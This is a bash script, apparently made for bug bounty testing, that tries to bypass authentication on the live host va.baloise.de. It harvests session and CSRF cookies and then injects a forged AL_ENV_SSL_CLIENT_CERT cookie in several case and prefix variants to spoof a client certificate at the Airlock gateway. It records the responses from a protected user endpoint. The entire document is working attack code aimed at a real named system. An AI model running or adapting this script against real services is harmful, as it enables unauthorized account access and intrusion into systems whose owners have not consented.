#!/usr/bin/env bash
set -euo pipefail
base='https://va.baloise.de/auth/rest/protected/my/self'
enc=$(cat /tmp/bb-cert-enc)
for variant in control uppercase lowercase mixed prefixlower dollar; do
  jar=$(mktemp)
  curl -skS -o /dev/null -c "$jar" -H 'X-Bug-Bounty: dwbzn' 'https://va.baloise.de/auth/ui/app'
  sess=$(awk '$6=="AL_SESS-S" {print $7}' "$jar" | tail -1)
  csrf=$(awk '$6=="CSRFT759-S" {print $7}' "$jar" | tail -1)
  case "$variant" in
    control) atk='' ;;
    uppercase) atk="AL_ENV_SSL_CLIENT_CERT=$enc" ;;
    lowercase) atk="al_env_ssl_client_cert=$enc" ;;
    mixed) atk="Al_EnV_SsL_ClIeNt_CeRt=$enc" ;;
    prefixlower) atk="AL_ENV_ssl_client_cert=$enc" ;;
    dollar) atk="\$Version=1; al_env_ssl_client_cert=$enc" ;;
  esac
  ck="AL_SESS-S=$sess; CSRFT759-S=$csrf"
  [ -z "$atk" ] || ck="$atk; $ck"
  hdr="work/scratch/airlock-cert-spoof/$variant.hdr"
  body="work/scratch/airlock-cert-spoof/$variant.body"
  meta=$(curl -skS -D "$hdr" -o "$body" -w '%{http_code} %{size_download} %{time_total}' \
    -H 'X-Bug-Bounty: dwbzn' -H 'X-Same-Domain: 1' -H 'Accept: application/vnd.api+json' \
    -H "Cookie: $ck" "$base")
  printf '%-12s %s sha=%s body=' "$variant" "$meta" "$(sha256sum "$body" | cut -c1-16)"
  tr '\n' ' ' < "$body" | head -c 300; echo
  rm -f "$jar"
done